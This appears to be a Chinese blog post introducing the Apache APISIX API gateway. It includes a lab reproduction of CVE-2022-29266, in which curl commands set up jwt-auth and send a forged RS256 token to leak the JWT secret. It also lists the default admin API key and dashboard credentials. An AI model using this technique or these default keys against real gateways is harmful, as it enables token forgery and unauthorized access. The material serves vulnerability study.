APISIX

什么是 APISIX?

APISIX 是一个 高性能、动态、可扩展的开源 API 网关,由 Apache 基金会孵化和维护,采用 Lua + NGINX(OpenResty) 构建,适合处理高并发、低延迟的 API 请求。

它的功能就像一个“门卫”:

客户端访问后端服务前,所有请求都要先经过它检查、处理、转发。

核心功能

功能

描述

认证

支持 JWT、Key-auth、Basic Auth、LDAP 等多种认证方式

动态路由

不重启即可添加/修改路由(支持 REST 接口/Etcd 热更新)

流量控制

限流、熔断、重试、请求分发等机制

监控

Prometheus、SkyWalking、Zipkin 集成

插件机制

支持 Lua 插件热插拔,可以动态开启/关闭功能

云原生支持

支持 K8s ingress controller、服务注册发现

安全防护

IP 过滤、WAF、SSL/TLS、CORS 支持

多协议支持

HTTP、HTTPS、gRPC、WebSocket、MQTT(实验性)等

架构组件(简化)

                   ┌────────────┐
Client ──────────▶│  APISIX    │─────────▶ 后端服务(API、微服务)
                   │(插件、认证、限流等)│
                   └────────────┘
                         ▲
                         │
                  控制面:etcd
  • APISIX 作为数据面:负责实际请求处理
  • Etcd 作为配置中心:负责存储路由、插件配置等(可热更新)

性能优势

  • 超高性能:官方 benchmark 在多核机器下可达百万级 QPS(基于 OpenResty)
  • 毫秒级配置生效:更新路由/插件配置几乎是实时的
  • 插件热加载:不需要重启就可以动态修改行为

常见使用场景

  1. 微服务 API 网关(服务发现、统一入口)
  2. K8s Ingress Controller 替代方案
  3. 统一认证与鉴权
  4. 限流/熔断/降级/灰度发布
  5. 边缘计算/多云网关
  6. BFF 架构的一部分

和其他网关的对比简表:

特性

APISIX

Kong

NGINX Ingress

动态配置

✅ 强

❌(部分支持)

❌ 重启生效

插件系统

✅ 热插拔

✅ 插件多

❌ 无自定义插件

性能

✅ 高性能

中等

云原生支持

✅ 原生支持 K8s

扩展性

✅ 强(Lua)

✅(Lua)

较弱

插件机制举例(如限流)

APISIX 的插件配置可以像这样:

{
  "plugins": {
    "limit-count": {
      "count": 10,
      "time_window": 60,
      "rejected_code": 429
    }
  }
}

代表:每分钟只能访问 10 次,多了就返回 429 哦~

快速部署体验(Docker 方式)

git clone https://github.com/apache/apisix-docker.git
cd apisix-docker/example
docker-compose -p apisix up -d

访问 Admin API:

curl http://127.0.0.1:9180/apisix/admin/routes \
  -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'

官方文档

传送门:
https://apisix.apache.org

总结:

APISIX 就是一个现代化、动态、可扩展的“超级 API 门卫”,能安全、高效地管理所有你的服务调用请求

APISIX CVE-2022-29266

在 2.13.1 之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。

在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶场,APISIX 版本为 2.11.0,因此我们可以直接用这个靶场作为 CVE-2022-29266 的靶场进行复现。

创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法,secret 值为 teamssix-secret-key

curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "flag{Oh_U_find_me}"
}
}
}'

然后再创建 Route 对象,并开启 jwt-auth 插件

curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'

这样才算把环境搭好,secret值可以自己设置

首先需要一个 RS256 算法(RS512也可以)的 JWT 值,这里为了方便直接在 jwt.io中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和创建consumer 对象时的 key 一致

生成的jwt值如下

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg

将刚才由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由,这样就可以获得刚才设置的 secret 值了

curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i

03-22
### 关于 Apache APISIX 的官方文档及教程 Apache APISIX 是一个高性能、可扩展的 API 网关,支持动态路由、插件热加载等功能。以下是关于其官方文档和教程的信息: #### 1. **官方文档** Apache APISIX 提供了详尽的官方文档,涵盖了从基础概念到高级功能的内容。这些文档可以帮助开发者快速上手并深入理解 APISIX 的工作原理。 - 官方文档地址:[https://apisix.apache.org/docs/](https://apisix.apache.org/docs/) [^3] - 文档内容包括但不限于: - 快速入门指南 - 配置管理说明 - 插件开发手册 - 性能调优建议 #### 2. **安装方法** APISIX 支持多种安装方式,具体取决于用户的环境需求和技术栈偏好。 - 基于 Docker 的安装是最简单的方式之一,适合初学者尝试: ```bash docker run -d --name apisix \ -p 9080:9080 \ -p 9443:9443 \ apache/apisix:latest ``` 上述命令会启动 APISIX 并将其绑定至本地端口 `9080` 和 `9443` [^4]。 - 对于生产环境,推荐使用 Helm Chart 或源码编译方式进行安装。 #### 3. **配置文件详解** APISIX 的核心配置存储在 `conf/config.yaml` 文件中。该文件定义了网关的行为参数,例如监听端口、日志级别以及上游服务设置等。 - 默认 HTTP 监听端口为 `9080`,而 Dashboard 则运行在独立的 `9000` 端口 [^2]。 - 示例配置片段如下所示: ```yaml http_port: 9080 enable_admin: true admin_key: - name: "admin" key: "edd1c9f034335f136f87ad84b625c8f1" role: "admin" ``` #### 4. **Dashboard 使用教程** Apache APISIX Dashboard 是一款图形化工具,用于简化 APISIX 的管理和监控操作。它提供了直观的操作界面来创建路由、查看统计信息等。 - 访问 URL:`http://<your-server-ip>:9000` - 登录凭证:默认用户名为 `admin`,密码也是 `admin` [^2]。 - 功能模块概述: - 路由管理:新增、编辑或删除现有路由规则。 - 插件中心:启用或禁用特定插件以增强功能。 - 数据分析:展示实时流量数据和其他性能指标。 #### 5. **社区资源与支持** 除了官方文档外,还有丰富的社区资源可供学习交流。 - GitHub 地址:[https://github.com/apache/apisix](https://github.com/apache/apisix) [^5] - 用户邮件列表:订阅后可以获取最新资讯并与全球用户互动。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值